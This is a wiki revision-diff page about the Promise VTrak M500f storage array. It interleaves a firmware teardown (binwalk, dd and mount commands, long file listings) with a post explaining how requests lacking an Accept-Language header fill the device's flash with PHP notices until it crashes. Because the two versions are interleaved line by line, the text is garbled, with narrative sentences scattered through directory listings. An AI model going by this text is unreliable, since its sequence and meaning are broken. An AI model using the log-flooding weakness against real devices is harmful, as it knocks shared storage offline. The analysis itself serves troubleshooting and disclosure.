Promise VTrak M500f: Difference between revisions

From fakedWiki
Jump to: navigation, search
m (74 revisions imported)
 
(67 intermediate revisions by the same user not shown)
Line 1: Line 1:
=== Promise Technology VTrak M500f ===
{{TOCright|limit=2|width=500}}
*Download Page: http://firstweb.promise.com/support/download/download2_eng.asp?productID=153&category=all&os=100
== Exploit ==
*Link to Firmware: http://firstweb.promise.com/upload/Support/Firmware/Mx00_series_v2.39.0000.00_with_notes.zip
I'm using a Promise VTrak M500f storage at work, and every couple of weeks it crashes. Updating to the latest firmware didn't help much.
*Link to binwalk: http://code.google.com/p/binwalk/


<pre>
It always starts with the device's webserver being unresponsive, and not much later the whole device just breaking down.
binwalk -v iv2p_all_20110303_16mb.img
</pre>
<pre>
Scan Time:    Aug 03, 2011 @ 20:13:21
Magic File:  /etc/binwalk/magic.binwalk
Signatures:  67
Target File:  iv2p_all_20110303_16mb.img
MD5 Checksum: b8dad677c907a53ca9b222f2103c13b3


DECIMAL        HEX            DESCRIPTION
Usually, when i notice that the device starts to act up again, i just reboot it and it's fine for the next couple of weeks.  
-------------------------------------------------------------------------------------------------------
18204          0x471C          gzip compressed data, from Unix, last modified: Thu Apr 20 05:12:30 2006, max compression
871968          0xD4E20        Linux Compressed ROM filesystem data, little endian size 2584576 version #2 sorted_dirs          CRC 0xeeb623f0, edition 0, 1217 blocks,            7 files
3456544        0x34BE20        Linux Compressed ROM filesystem data, little endian size 3231744 version #2 sorted_dirs          CRC 0xf1e0771a, edition 0, 2870 blocks,            946 files
3528967        0x35D907        bzip2 compressed data
6688288        0x660E20        gzip compressed data, from Unix, last modified: Thu Mar  3 03:51:40 2011, max compression
11309493        0xAC91B5        Linux Compressed ROM filesystem data, little endian size 1277952 version #2 sorted_dirs          CRC 0x477edaab, edition 0, 802 blocks,            142 files
12882033        0xC49071        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13215338        0xC9A66A        LZMA compressed data, properties: 0x85, dictionary size: 740294656 bytes, uncompressed size: 16388 bytes
13216042        0xC9A92A        LZMA compressed data, properties: 0x86, dictionary size: 745537536 bytes, uncompressed size: 16388 bytes
13216734        0xC9ABDE        LZMA compressed data, properties: 0x89, dictionary size: 747110400 bytes, uncompressed size: 16388 bytes
13219257        0xC9B5B9        LZMA compressed data, properties: 0x5D, dictionary size: 335544320 bytes, uncompressed size: 30 bytes
13220658        0xC9BB32        LZMA compressed data, properties: 0x95, dictionary size: 272629760 bytes, uncompressed size: 16387 bytes
13221334        0xC9BDD6        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
13221354        0xC9BDEA        LZMA compressed data, properties: 0x90, dictionary size: 65536 bytes, uncompressed size: 65536 bytes
</pre>
==== part 1 ====
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=18204 count=853764 of=part1.gz
gunzip part1.gz
file part1
</pre>
<pre>
part1: data
</pre>


==== part 2 ====
To do this, i log in on the serial console and run:
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=871968 count=2584576 of=part2.cramfs
mkdir part2
mount -o loop parts2.cramfs part2/
ls -l part2/
</pre>
<pre>
total 4858
-rw-r--r-- 1 root root  18204 Jan  1  1970 iodrv.o
-rw-r--r-- 1 root root  233655 Jan  1  1970 Marvell.o
-rw-r--r-- 1 root root  470713 Jan  1  1970 qla4xxx.o
-rw-r--r-- 1 root root 3193368 Jan  1  1970 raid_core.o
-rw-r--r-- 1 root root  436560 Jan  1  1970 scsi.o
-rw-r--r-- 1 root root  619697 Jan  1  1970 xfc.o
</pre>


==== part 3 ====
<pre>
<pre>
dd if=iv2p_all_20110303_16mb.img bs=1 skip=3456544 count=72423 of=part3.cramfs
administrator@cli> shutdown -a restart
mount -o loop part3.cramfs part3/
ls -lR part3/
</pre>
</pre>
<pre>
So the last time this happened, i noticed something is different with the CLI over serial console... it was... way more interesting!
part3/:
total 2
drwxr-xr-x 1 root root 356 Jan  1  1970 bin
drwxr-xr-x 1 root root 508 Jan  1  1970 lib
drwxr-xr-x 1 root root  40 Jan  1  1970 pegasus
drwxr-xr-x 1 root root  44 Jan  1  1970 php


part3/bin:
total 1315
-rwxr-xr-x 1 root root  35848 Jan  1  1970 bgasched
-rwxr-xr-x 1 root root  21292 Jan  1  1970 clitest
-rwxr-xr-x 1 root root 154612 Jan  1  1970 diag
-rwxr-xr-x 1 root root  17676 Jan  1  1970 emaild
-rwxr-xr-x 1 root root 139948 Jan  1  1970 i2
-rwxr-xr-x 1 root root 118768 Jan  1  1970 ivconfig
-rwxr-xr-x 1 root root 100188 Jan  1  1970 ivdump
-rwxr-xr-x 1 root root 302052 Jan  1  1970 ivutil
-rwxr-xr-x 1 root root  21064 Jan  1  1970 netsendd
-rwxr-xr-x 1 root root  8188 Jan  1  1970 netstart
-rwxr-xr-x 1 root root 108936 Jan  1  1970 ptiflash
-rwxr-xr-x 1 root root 182940 Jan  1  1970 RS2DDF
-rwxr-xr-x 1 root root  19440 Jan  1  1970 slpa
-rwxr-xr-x 1 root root  10336 Jan  1  1970 slpua
-rwxr-xr-x 1 root root  90612 Jan  1  1970 sr3update
-rwxr-xr-x 1 root root    215 Jan  1  1970 stopsw
-rwxr-xr-x 1 root root  10544 Jan  1  1970 swmgt
-rwxr-xr-x 1 root root    229 Jan  1  1970 swmgtwrapper


part3/lib:
total 4727
-rwxr-xr-x 1 root root 1465692 Jan  1  1970 libclieng.so
-rwxr-xr-x 1 root root  96092 Jan  1  1970 libencrypt.so
-rwxr-xr-x 1 root root    7892 Jan  1  1970 libeventstr.so
-rwxr-xr-x 1 root root    6740 Jan  1  1970 libflash.so
-rwxr-xr-x 1 root root    4840 Jan  1  1970 libipaddr.so
-rwxr-xr-x 1 root root  19504 Jan  1  1970 libparseXML.so
-rwxr-xr-x 1 root root  12692 Jan  1  1970 libprconfig.so
-rwxr-xr-x 1 root root  224784 Jan  1  1970 libprdecode.so
-rwxr-xr-x 1 root root  12832 Jan  1  1970 libprdefaults.so
-rwxr-xr-x 1 root root  229360 Jan  1  1970 libpri2apiv4.so
-rwxr-xr-x 1 root root  94360 Jan  1  1970 libproem.so
-rwxr-xr-x 1 root root  119036 Jan  1  1970 libproerrlog.so
-rwxr-xr-x 1 root root  538984 Jan  1  1970 libPromiseProvider.so
-rwxr-xr-x 1 root root  325268 Jan  1  1970 libsmtp.so
-rwxr-xr-x 1 root root  97768 Jan  1  1970 libswmgt.so
-rwxr-xr-x 1 root root  50140 Jan  1  1970 libswsetting.so
-rwxr-xr-x 1 root root  951604 Jan  1  1970 libxml2.so
-rwxr-xr-x 1 root root  346992 Jan  1  1970 phpi2.so
-rwxr-xr-x 1 root root  230756 Jan  1  1970 ptIslaVistaSystem.so


part3/pegasus:
=== Oh, exploitable! ===
total 1
Here's one of the problem sources: in line 23 and 24 of ''/islavista/sw/php/promise/language.php'', which is included in the code that's executed when you access the device's WebPAM PROe webinterface, PHP is told to get the language of the user's browser from a header that the browser sends on each request.
drwxr-xr-x 1 root root 148 Jan  1  1970 conf
drwxr-xr-x 1 root root  84 Jan  1  1970 repository


part3/pegasus/conf:
No problem there, your browser provides this header, so you probably won't ever see any error from this code.
total 6
-rwxr--r-- 1 root root  891 Jan  1  1970 cert.pem
-rwxr--r-- 1 root root  18 Jan  1  1970 cimserver.passwd
-rwxr--r-- 1 root root 1427 Jan  1  1970 cimserver_planned.conf
-rwxr--r-- 1 root root 1436 Jan  1  1970 client.pem
-rwxr--r-- 1 root root  497 Jan  1  1970 key.pem
-rwxr--r-- 1 root root  562 Jan  1  1970 ssl.cnf


part3/pegasus/repository:
But if you're using a monitoring tool like Nagios, to check if the webinterface is still alive, your Nagios check doesn't send that header and PHP will throw an error of the level E_NOTICE.
total 2
drwxr-xr-x 1 root root 68 Jan  1  1970 root#PG_Internal
drwxr-xr-x 1 root root 68 Jan  1  1970 root#PG_InterOp
drwxr-xr-x 1 root root 68 Jan  1  1970 root#PromiseTech


part3/pegasus/repository/root#PG_Internal:
<pre>
total 3
$ php -a
drwxr-xr-x 1 root root  200 Jan  1  1970 classes
Interactive mode enabled
drwxr-xr-x 1 root root  56 Jan  1  1970 instances
drwxr-xr-x 1 root root 1352 Jan  1  1970 qualifiers


part3/pegasus/repository/root#PG_Internal/classes:
<?php
total 13
preg_match('/^([a-z\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
-rw-r--r-- 1 root root 1212 Jan  1  1970 PG_Authorization.#
    $lang=$matches[1];
-rw-r--r-- 1 root root 1529 Jan 1  1970 PG_ConfigSetting.#
    switch(substr($lang,0,2))
-rw-r--r-- 1 root root 1172 Jan  1  1970 PG_ShutdownService.#
    {
-rw-r--r-- 1 root root 3937 Jan 1 1970 PG_SSLCertificate.#
      case 'en':
-rw-r--r-- 1 root root 2053 Jan  1  1970 PG_SSLCertificateRevocationList.#
  $language='en_US';
-rw-r--r-- 1 root root 1458 Jan  1  1970 PG_User.#
        break;
      // [...]
      default:
        $language='en_US';
        break;
    }
?>
PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in - on line 2
PHP Notice: Undefined offset: 1 in - on line 3
</pre>


part3/pegasus/repository/root#PG_Internal/instances:
Of course, being the good developer that you are, you hide those errors, should they ever arise at all, from the user - and only write them to a logfile somewhere on your device's internal flash.
total 3
-rw------- 1 root root  361 Jan  1  1970 PG_User.idx
-rw------- 1 root root 1935 Jan  1  1970 PG_User.instances


part3/pegasus/repository/root#PG_Internal/qualifiers:
<pre>
total 31
[08-Jul-2011 19:52:24] PHP Notice: Undefined index: HTTP_ACCEPT_LANGUAGE in /islavista/sw/php/promise/language.php on line 23
-rw-r--r-- 1 root root 178 Jan 1 1970 Abstract
[08-Jul-2011 19:52:24] PHP Notice: Undefined offset: 1 in /islavista/sw/php/promise/language.php on line 24
-rw-r--r-- 1 root root 147 Jan 1 1970 Aggregate
[08-Jul-2011 19:52:26] PHP Notice: Undefined index: HTTP_HOST in /islavista/sw/php/promise/index.php on line 182
-rw-r--r-- 1 root root 151 Jan  1  1970 Aggregation
</pre>
-rw-r--r-- 1 root root 151 Jan 1 1970 Alias
-rw-r--r-- 1 root root 160 Jan  1  1970 ArrayType
-rw-r--r-- 1 root root 151 Jan  1  1970 ASSOCIATION
-rw-r--r-- 1 root root 147 Jan  1  1970 BitMap
-rw-r--r-- 1 root root 170 Jan  1  1970 BitValues
-rw-r--r-- 1 root root 154 Jan  1  1970 CLASS
-rw-r--r-- 1 root root 151 Jan  1  1970 Composition
-rw-r--r-- 1 root root 155 Jan  1  1970 Counter
-rw-r--r-- 1 root root 143 Jan  1  1970 Delete
-rw-r--r-- 1 root root 237 Jan  1  1970 Deprecated
-rw-r--r-- 1 root root 224 Jan  1  1970 Description
-rw-r--r-- 1 root root 224 Jan  1  1970 DisplayName
-rw-r--r-- 1 root root 170 Jan  1  1970 DN
-rw-r--r-- 1 root root 182 Jan  1  1970 EmbeddedObject
-rw-r--r-- 1 root root 179 Jan  1  1970 Exception
-rw-r--r-- 1 root root 224 Jan  1  1970 Expensive
-rw-r--r-- 1 root root 246 Jan  1  1970 Experimental
-rw-r--r-- 1 root root 153 Jan  1  1970 Gauge
-rw-r--r-- 1 root root 146 Jan  1  1970 Ifdeleted
-rw-r--r-- 1 root root 139 Jan  1  1970 In
-rw-r--r-- 1 root root 162 Jan  1  1970 INDICATION
-rw-r--r-- 1 root root 189 Jan  1  1970 Invisible
-rw-r--r-- 1 root root 157 Jan  1  1970 Key
-rw-r--r-- 1 root root 135 Jan  1  1970 Large
-rw-r--r-- 1 root root 222 Jan  1  1970 MappingStrings
-rw-r--r-- 1 root root  99 Jan  1  1970 Max
-rw-r--r-- 1 root root 132 Jan  1  1970 MaxLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MaxValue
-rw-r--r-- 1 root root 116 Jan  1  1970 Min
-rw-r--r-- 1 root root 149 Jan  1  1970 MinLen
-rw-r--r-- 1 root root 134 Jan  1  1970 MinValue
-rw-r--r-- 1 root root 227 Jan  1  1970 ModelCorrespondence
-rw-r--r-- 1 root root 104 Jan  1  1970 Nonlocal
-rw-r--r-- 1 root root 108 Jan  1  1970 NonlocalType
-rw-r--r-- 1 root root 124 Jan  1  1970 NullValue
-rw-r--r-- 1 root root 179 Jan  1  1970 Octetstring
-rw-r--r-- 1 root root 141 Jan  1  1970 Out
-rw-r--r-- 1 root root 154 Jan  1  1970 Override
-rw-r--r-- 1 root root 125 Jan  1  1970 Propagated
-rw-r--r-- 1 root root 138 Jan  1  1970 PropertyUsage
-rw-r--r-- 1 root root 201 Jan  1  1970 Provider
-rw-r--r-- 1 root root 120 Jan  1  1970 Read
-rw-r--r-- 1 root root 179 Jan  1  1970 Required
-rw-r--r-- 1 root root 157 Jan  1  1970 Revision
-rw-r--r-- 1 root root 135 Jan  1  1970 Source
-rw-r--r-- 1 root root 156 Jan  1  1970 SourceType
-rw-r--r-- 1 root root 157 Jan  1  1970 Static
-rw-r--r-- 1 root root 149 Jan  1  1970 Syntax
-rw-r--r-- 1 root root 153 Jan  1  1970 SyntaxType
-rw-r--r-- 1 root root 159 Jan  1  1970 Terminal
-rw-r--r-- 1 root root 187 Jan  1  1970 TriggerType
-rw-r--r-- 1 root root 151 Jan  1  1970 Units
-rw-r--r-- 1 root root 143 Jan  1  1970 UnknownValues
-rw-r--r-- 1 root root 147 Jan  1  1970 UnsupportedValues
-rw-r--r-- 1 root root 149 Jan  1  1970 ValueMap
-rw-r--r-- 1 root root 167 Jan  1  1970 Values
-rw-r--r-- 1 root root 175 Jan  1  1970 Version
-rw-r--r-- 1 root root 160 Jan  1  1970 Weak
-rw-r--r-- 1 root root 122 Jan  1  1970 Write


part3/pegasus/repository/root#PG_InterOp:
Being a bit unsure yourself of how good of a developer you really are, you tell PHP in its config file ''/islavista/conf/sw/php.ini'' to not only log real errors of the levels E_WARNING or E_ERROR, or like the healthy default recommends, "E_ALL & ~E_NOTICE" (everything except E_NOTICE)... no, you want them all, so you can write impeccable code!
total 10
drwxr-xr-x 1 root root 8116 Jan  1  1970 classes
drwxr-xr-x 1 root root  228 Jan  1  1970 instances
drwxr-xr-x 1 root root 1352 Jan  1  1970 qualifiers


part3/pegasus/repository/root#PG_InterOp/classes:
Have you ever wondered why it's called "default" setting? The De-Fault setting? Also known as the "Please don't break anything!" setting? You'll find out soon.
total 397
-rw-r--r-- 1 root root 13856 Jan  1  1970 associations
-rw-r--r-- 1 root root  1896 Jan  1  1970 CIM_ActiveConnection.CIM_SAPSAPDependency
-rw-r--r-- 1 root root  772 Jan  1  1970 CIM_ActsAsSpare.#
-rw-r--r-- 1 root root  6061 Jan  1  1970 CIM_AdminDomain.CIM_System
-rw-r--r-- 1 root root  5545 Jan  1  1970 CIM_AlertIndication.CIM_ProcessIndication
-rw-r--r-- 1 root root  6279 Jan  1  1970 CIM_AlertInstIndication.CIM_AlertIndication
-rw-r--r-- 1 root root  1204 Jan  1  1970 CIM_BasedOn.CIM_Dependency
-rw-r--r-- 1 root root  964 Jan  1  1970 CIM_BindsTo.CIM_SAPSAPDependency
-rw-r--r-- 1 root root  1034 Jan  1  1970 CIM_Capabilities.CIM_ManagedElement
-rw-r--r-- 1 root root  1256 Jan  1  1970 CIM_ClassCreation.CIM_ClassIndication
-rw-r--r-- 1 root root  1256 Jan  1  1970 CIM_ClassDeletion.CIM_ClassIndication
-rw-r--r-- 1 root root  1330 Jan  1  1970 CIM_ClassIndication.CIM_Indication
-rw-r--r-- 1 root root  1563 Jan  1  1970 CIM_ClassModification.CIM_ClassIndication
-rw-r--r-- 1 root root  932 Jan  1  1970 CIM_CollectedCollections.#
-rw-r--r-- 1 root root  1180 Jan  1  1970 CIM_CollectedMSEs.CIM_MemberOfCollection
-rw-r--r-- 1 root root  674 Jan  1  1970 CIM_Collection.CIM_ManagedElement
-rw-r--r-- 1 root root  733 Jan  1  1970 CIM_CollectionConfiguration.#
-rw-r--r-- 1 root root  841 Jan  1  1970 CIM_CollectionOfMSEs.CIM_Collection
-rw-r--r-- 1 root root  703 Jan  1  1970 CIM_CollectionSetting.#
-rw-r--r-- 1 root root  807 Jan  1  1970 CIM_CompatibleProduct.#
-rw-r--r-- 1 root root  985 Jan  1  1970 CIM_Component.#
-rw-r--r-- 1 root root  767 Jan  1  1970 CIM_ConcreteCollection.CIM_Collection
-rw-r--r-- 1 root root  1171 Jan  1  1970 CIM_ConcreteComponent.CIM_Component
-rw-r--r-- 1 root root  963 Jan  1  1970 CIM_ConcreteDependency.CIM_Dependency
-rw-r--r-- 1 root root  986 Jan  1  1970 CIM_ConcreteIdentity.CIM_LogicalIdentity
-rw-r--r-- 1 root root  9002 Jan  1  1970 CIM_ConcreteJob.CIM_Job
-rw-r--r-- 1 root root  827 Jan  1  1970 CIM_Configuration.CIM_ManagedElement
-rw-r--r-- 1 root root  926 Jan  1  1970 CIM_ConfigurationComponent.#
-rw-r--r-- 1 root root  1214 Jan  1  1970 CIM_ConfigurationForSystem.CIM_HostedDependency
-rw-r--r-- 1 root root  1169 Jan  1  1970 CIM_ContainedDomain.CIM_SystemComponent
-rw-r--r-- 1 root root  1325 Jan  1  1970 CIM_ContainedLocation.CIM_Component
-rw-r--r-- 1 root root  929 Jan  1  1970 CIM_DefaultSetting.CIM_ElementSetting
-rw-r--r-- 1 root root  784 Jan  1  1970 CIM_Dependency.#
-rw-r--r-- 1 root root  899 Jan  1  1970 CIM_DependencyContext.#
-rw-r--r-- 1 root root  971 Jan  1  1970 CIM_DeviceSAPImplementation.CIM_Dependency
-rw-r--r-- 1 root root  964 Jan  1  1970 CIM_DeviceServiceImplementation.CIM_Dependency
-rw-r--r-- 1 root root  2816 Jan  1  1970 CIM_DeviceStatisticalInformation.CIM_StatisticalInformation
-rw-r--r-- 1 root root  1204 Jan  1  1970 CIM_DeviceStatistics.CIM_Statistics
-rw-r--r-- 1 root root  855 Jan  1  1970 CIM_ElementCapabilities.#
-rw-r--r-- 1 root root  725 Jan  1  1970 CIM_ElementConfiguration.#
-rw-r--r-- 1 root root  702 Jan  1  1970 CIM_ElementLocation.#
-rw-r--r-- 1 root root  696 Jan  1  1970 CIM_ElementProfile.#
-rw-r--r-- 1 root root  695 Jan  1  1970 CIM_ElementSetting.#
-rw-r--r-- 1 root root  900 Jan  1  1970 CIM_ElementSettingData.#
-rw-r--r-- 1 root root  1498 Jan  1  1970 CIM_ElementSoftwareIdentity.CIM_Dependency
-rw-r--r-- 1 root root  860 Jan  1  1970 CIM_ElementStatisticalData.#
-rw-r--r-- 1 root root  4249 Jan  1  1970 CIM_EnabledLogicalElement.CIM_LogicalElement
-rw-r--r-- 1 root root  1196 Jan  1  1970 CIM_ExtentRedundancyComponent.CIM_RedundancyComponent
-rw-r--r-- 1 root root  2905 Jan  1  1970 CIM_ExtraCapacityGroup.CIM_RedundancyGroup
-rw-r--r-- 1 root root  2383 Jan  1  1970 CIM_FRU.CIM_ManagedElement
-rw-r--r-- 1 root root  1050 Jan  1  1970 CIM_FRUIncludesProduct.#
-rw-r--r-- 1 root root  1061 Jan  1  1970 CIM_FRUPhysicalElements.#
-rw-r--r-- 1 root root  1208 Jan  1  1970 CIM_HostedAccessPoint.CIM_HostedDependency
-rw-r--r-- 1 root root  1103 Jan  1  1970 CIM_HostedCollection.CIM_HostedDependency
-rw-r--r-- 1 root root  1028 Jan  1  1970 CIM_HostedDependency.CIM_Dependency
-rw-r--r-- 1 root root  1193 Jan  1  1970 CIM_HostedService.CIM_HostedDependency
-rw-r--r-- 1 root root  949 Jan  1  1970 CIM_Indication.#
-rw-r--r-- 1 root root  2156 Jan  1  1970 CIM_IndicationFilter.CIM_ManagedElement
-rw-r--r-- 1 root root  2704 Jan  1  1970 CIM_IndicationHandler.CIM_ListenerDestination
-rw-r--r-- 1 root root  2994 Jan  1  1970 CIM_IndicationHandlerCIMXML.CIM_IndicationHandler
-rw-r--r-- 1 root root  2885 Jan  1  1970 CIM_IndicationSubscription.#
-rw-r--r-- 1 root root  732 Jan  1  1970 CIM_InstalledSoftwareIdentity.#
-rw-r--r-- 1 root root  1252 Jan  1  1970 CIM_InstCreation.CIM_InstIndication
-rw-r--r-- 1 root root  1252 Jan  1  1970 CIM_InstDeletion.CIM_InstIndication
-rw-r--r-- 1 root root  1327 Jan  1  1970 CIM_InstIndication.CIM_Indication
-rw-r--r-- 1 root root  2046 Jan  1  1970 CIM_InstMethodCall.CIM_InstIndication
-rw-r--r-- 1 root root  1551 Jan  1  1970 CIM_InstModification.CIM_InstIndication
-rw-r--r-- 1 root root  1248 Jan  1  1970 CIM_InstRead.CIM_InstIndication
-rw-r--r-- 1 root root  7484 Jan  1  1970 CIM_Job.CIM_LogicalElement
-rw-r--r-- 1 root root  2233 Jan  1  1970 CIM_ListenerDestination.CIM_ManagedElement
-rw-r--r-- 1 root root  2454 Jan  1  1970 CIM_ListenerDestinationCIMXML.CIM_ListenerDestination
-rw-r--r-- 1 root root  1230 Jan  1  1970 CIM_LocalizationCapabilities.CIM_Capabilities
-rw-r--r-- 1 root root  1222 Jan  1  1970 CIM_Location.CIM_ManagedElement
-rw-r--r-- 1 root root 11409 Jan  1  1970 CIM_LogicalDevice.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  2225 Jan  1  1970 CIM_LogicalElement.CIM_ManagedSystemElement
-rw-r--r-- 1 root root  804 Jan  1  1970 CIM_LogicalIdentity.#
-rw-r--r-- 1 root root  591 Jan  1  1970 CIM_ManagedElement.#
-rw-r--r-- 1 root root  2135 Jan  1  1970 CIM_ManagedSystemElement.CIM_ManagedElement
-rw-r--r-- 1 root root  902 Jan  1  1970 CIM_MemberOfCollection.#
-rw-r--r-- 1 root root  1090 Jan  1  1970 CIM_MethodParameters.CIM_ManagedElement
-rw-r--r-- 1 root root  1088 Jan  1  1970 CIM_OrderedMemberOfCollection.CIM_MemberOfCollection
-rw-r--r-- 1 root root  974 Jan  1  1970 CIM_ParametersForMethod.#
-rw-r--r-- 1 root root  726 Jan  1  1970 CIM_ParameterValueSources.#
-rw-r--r-- 1 root root  5932 Jan  1  1970 CIM_PhysicalElement.CIM_ManagedSystemElement
-rw-r--r-- 1 root root  1053 Jan  1  1970 CIM_PhysicalElementLocation.CIM_ElementLocation
-rw-r--r-- 1 root root  2021 Jan  1  1970 CIM_PhysicalStatisticalInformation.CIM_StatisticalInformation
-rw-r--r-- 1 root root  1210 Jan  1  1970 CIM_PhysicalStatistics.CIM_Statistics
-rw-r--r-- 1 root root  1782 Jan  1  1970 CIM_PowerManagementCapabilities.CIM_Capabilities
-rw-r--r-- 1 root root  7358 Jan  1  1970 CIM_PowerManagementService.CIM_Service
-rw-r--r-- 1 root root  1039 Jan  1  1970 CIM_ProcessIndication.CIM_Indication
-rw-r--r-- 1 root root  3420 Jan  1  1970 CIM_Product.CIM_ManagedElement
-rw-r--r-- 1 root root  1538 Jan  1  1970 CIM_ProductComponent.CIM_Component
-rw-r--r-- 1 root root  729 Jan  1  1970 CIM_ProductFRU.#
-rw-r--r-- 1 root root  986 Jan  1  1970 CIM_ProductParentChild.#
-rw-r--r-- 1 root root  1356 Jan  1  1970 CIM_ProductPhysicalComponent.CIM_Component
-rw-r--r-- 1 root root  1557 Jan  1  1970 CIM_ProductPhysicalElements.#
-rw-r--r-- 1 root root  834 Jan  1  1970 CIM_ProductProductDependency.#
-rw-r--r-- 1 root root  1329 Jan  1  1970 CIM_ProductServiceComponent.CIM_Component
-rw-r--r-- 1 root root  1357 Jan  1  1970 CIM_ProductSoftwareComponent.CIM_Component
-rw-r--r-- 1 root root  688 Jan  1  1970 CIM_ProductSupport.#
-rw-r--r-- 1 root root  745 Jan  1  1970 CIM_Profile.CIM_Collection
-rw-r--r-- 1 root root  7745 Jan  1  1970 CIM_ProtocolEndpoint.CIM_ServiceAccessPoint
-rw-r--r-- 1 root root  964 Jan  1  1970 CIM_ProvidesEndpoint.CIM_ServiceAccessBySAP
-rw-r--r-- 1 root root  1442 Jan  1  1970 CIM_ProvidesServiceToElement.CIM_Dependency
-rw-r--r-- 1 root root  953 Jan  1  1970 CIM_Realizes.CIM_Dependency
-rw-r--r-- 1 root root  1180 Jan  1  1970 CIM_RedundancyComponent.CIM_Component
-rw-r--r-- 1 root root  2648 Jan  1  1970 CIM_RedundancyGroup.CIM_LogicalElement
-rw-r--r-- 1 root root  823 Jan  1  1970 CIM_RelatedStatisticalData.#
-rw-r--r-- 1 root root  724 Jan  1  1970 CIM_RelatedStatistics.#
-rw-r--r-- 1 root root  7045 Jan  1  1970 CIM_RemotePort.CIM_RemoteServiceAccessPoint
-rw-r--r-- 1 root root  6304 Jan  1  1970 CIM_RemoteServiceAccessPoint.CIM_ServiceAccessPoint
-rw-r--r-- 1 root root  762 Jan  1  1970 CIM_ReplaceableProductFRU.#
-rw-r--r-- 1 root root  736 Jan  1  1970 CIM_SAPAvailableForElement.#
-rw-r--r-- 1 root root  969 Jan  1  1970 CIM_SAPSAPDependency.CIM_Dependency
-rw-r--r-- 1 root root  2811 Jan  1  1970 CIM_SAPStatisticalInformation.CIM_StatisticalInformation
-rw-r--r-- 1 root root  1203 Jan  1  1970 CIM_SAPStatistics.CIM_Statistics
-rw-r--r-- 1 root root  1101 Jan  1  1970 CIM_ScopedSetting.CIM_HostedDependency
-rw-r--r-- 1 root root  1071 Jan  1  1970 CIM_ScopedSettingData.CIM_SettingData
-rw-r--r-- 1 root root  960 Jan  1  1970 CIM_ServiceAccessBySAP.CIM_Dependency
-rw-r--r-- 1 root root  5545 Jan  1  1970 CIM_ServiceAccessPoint.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  5776 Jan  1  1970 CIM_ServiceAccessURI.CIM_ServiceAccessPoint
-rw-r--r-- 1 root root  1485 Jan  1  1970 CIM_ServiceAffectsElement.#
-rw-r--r-- 1 root root  736 Jan  1  1970 CIM_ServiceAvailableToElement.#
-rw-r--r-- 1 root root  6733 Jan  1  1970 CIM_Service.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  1156 Jan  1  1970 CIM_ServiceComponent.CIM_Component
-rw-r--r-- 1 root root  962 Jan  1  1970 CIM_ServiceSAPDependency.CIM_Dependency
-rw-r--r-- 1 root root  1508 Jan  1  1970 CIM_ServiceServiceDependency.CIM_ProvidesServiceToElement
-rw-r--r-- 1 root root  2799 Jan  1  1970 CIM_ServiceStatisticalInformation.CIM_StatisticalInformation
-rw-r--r-- 1 root root  1200 Jan  1  1970 CIM_ServiceStatistics.CIM_Statistics
-rw-r--r-- 1 root root  7336 Jan  1  1970 CIM_Setting.CIM_ManagedElement
-rw-r--r-- 1 root root  884 Jan  1  1970 CIM_SettingContext.#
-rw-r--r-- 1 root root  1032 Jan  1  1970 CIM_SettingData.CIM_ManagedElement
-rw-r--r-- 1 root root  1202 Jan  1  1970 CIM_SettingForSystem.CIM_HostedDependency
-rw-r--r-- 1 root root  3905 Jan  1  1970 CIM_SNMPTrapIndication.CIM_ProcessIndication
-rw-r--r-- 1 root root  4002 Jan  1  1970 CIM_SoftwareIdentity.CIM_LogicalElement
-rw-r--r-- 1 root root  3139 Jan  1  1970 CIM_SpareGroup.CIM_RedundancyGroup
-rw-r--r-- 1 root root  1599 Jan  1  1970 CIM_StatisticalData.CIM_ManagedElement
-rw-r--r-- 1 root root  849 Jan  1  1970 CIM_StatisticalInformation.CIM_ManagedElement
-rw-r--r-- 1 root root  1793 Jan  1  1970 CIM_StatisticalSetting.CIM_SettingData
-rw-r--r-- 1 root root  690 Jan  1  1970 CIM_Statistics.#
-rw-r--r-- 1 root root 15009 Jan  1  1970 CIM_StorageExtent.CIM_LogicalDevice
-rw-r--r-- 1 root root  3252 Jan  1  1970 CIM_StorageRedundancyGroup.CIM_RedundancyGroup
-rw-r--r-- 1 root root  1811 Jan  1  1970 CIM_SupportAccess.CIM_ManagedElement
-rw-r--r-- 1 root root  883 Jan  1  1970 CIM_Synchronized.#
-rw-r--r-- 1 root root  5826 Jan  1  1970 CIM_System.CIM_EnabledLogicalElement
-rw-r--r-- 1 root root  1167 Jan  1  1970 CIM_SystemComponent.CIM_Component
-rw-r--r-- 1 root root  1859 Jan  1  1970 CIM_SystemConfiguration.CIM_ManagedElement
-rw-r--r-- 1 root root  1506 Jan  1  1970 CIM_SystemDevice.CIM_SystemComponent
-rw-r--r-- 1 root root  953 Jan  1  1970 CIM_SystemPackaging.CIM_Dependency
-rw-r--r-- 1 root root  8672 Jan  1  1970 CIM_SystemSetting.CIM_Setting
-rw-r--r-- 1 root root  914 Jan  1  1970 CIM_SystemSettingContext.#
-rw-r--r-- 1 root root  779 Jan  1  1970 CIM_SystemSpecificCollection.CIM_Collection
-rw-r--r-- 1 root root  2001 Jan  1  1970 CIM_SystemStatisticalInformation.CIM_StatisticalInformation
-rw-r--r-- 1 root root  1197 Jan  1  1970 CIM_SystemStatistics.CIM_Statistics
-rw-r--r-- 1 root root  6604 Jan  1  1970 CIM_ThresholdIndication.CIM_AlertIndication
-rw-r--r-- 1 root root  1805 Jan  1  1970 PG_CapabilitiesRegistration.CIM_ManagedElement
-rw-r--r-- 1 root root  1991 Jan  1  1970 PG_ConsumerCapabilities.PG_CapabilitiesRegistration
-rw-r--r-- 1 root root  3890 Jan  1  1970 PG_IndicationHandlerSNMPMapper.CIM_IndicationHandler
-rw-r--r-- 1 root root  2644 Jan  1  1970 PG_ListenerDestinationEmail.CIM_ListenerDestination
-rw-r--r-- 1 root root  2145 Jan  1  1970 PG_ListenerDestinationSystemLog.CIM_ListenerDestination
-rw-r--r-- 1 root root  1200 Jan  1  1970 PG_ProviderCapabilitiesElements.CIM_Dependency
